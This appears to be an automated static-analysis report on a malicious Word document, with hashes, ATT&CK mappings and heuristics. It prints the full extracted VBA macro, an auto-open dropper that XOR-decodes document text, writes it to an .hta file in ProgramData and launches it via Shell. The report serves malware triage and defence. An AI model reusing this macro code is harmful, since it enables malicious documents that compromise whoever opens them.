Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 176d6e1305faed2c…

MALICIOUS

Office (OOXML)

49.4 KB Created: 2021-06-14 11:15:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-20
MD5: bcb791ba2bfa986bd1336779eb503ca1 SHA-1: 6d15fdce421133591690639d1a348cde334bbfcd SHA-256: 176d6e1305faed2c716f1cdf4b9c76d7ac7266f66d484a7e96aa2d87ade9576f
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is an OOXML document containing VBA macros. The 'autoopen' subroutine triggers the execution of a shell command via the 'counterLib' function, which calls 'Shell("c:\windows\explorer ", vbNormalFocus)'. The 'documentSingleTextbox' function constructs a path to a file named 'headerSize.ht' within 'c:\programdata\'. The 'procLibs' function decrypts content from the document body using XOR and writes it to the constructed file path, which is then likely executed. This indicates a macro-based downloader pattern.

Heuristics 5

  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/In document text (OOXML body / shared strings)
    • http://purl.org/dc/elements/1.1/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/photoshop/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OOXML body / shared strings)
    • http://ns.adobe.com/tiff/1.0/In document text (OOXML body / shared strings)
    • http://ns.adobe.com/exif/1.0/In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1242 bytes
SHA-256: 5fca8b068d80c82923e0235f1d219a2e915d6a0c63463ff2d6f9db5320921a29
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "buttDateDel"
Function counterLib()
counterLib = Shell(documentSingleTextbox("c:\\windows\\explorer "), vbNormalFocus)
End Function

Attribute VB_Name = "bytesText"
Sub autoopen()
titleWindow
classLng = counterLib
End Sub
Function documentSingleTextbox(genericSingleW, Optional currencyWBox = "c:\program", Optional bScreen = "a")
documentSingleTextbox = pointerBoxSet(genericSingleW & currencyWBox & "data\headerSize.ht" & bScreen)
End Function
Function scrInit(arr As Variant)
Dim out As String
out = ""
For cnt = 1 To UBound(arr)
out = out & Chr(arr(cnt) Xor 10)
Next
scrInit = out
End Function
Function pointerBoxSet(classLng)
pointerBoxSet = Trim(classLng)
End Function

Attribute VB_Name = "bytesVbFunc"
Sub titleWindow()
Open documentSingleTextbox("") For Output As #1
Print #1, procLibs
Close #1
End Sub
Function procLibs()
procLibs = scrInit(Split(ActiveDocument.Range.Text, "-"))
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16896 bytes
SHA-256: b2b8b3bfe4fa490f445d76df36f351e2eb1d663b134862efcbc17bf07a6acaa8

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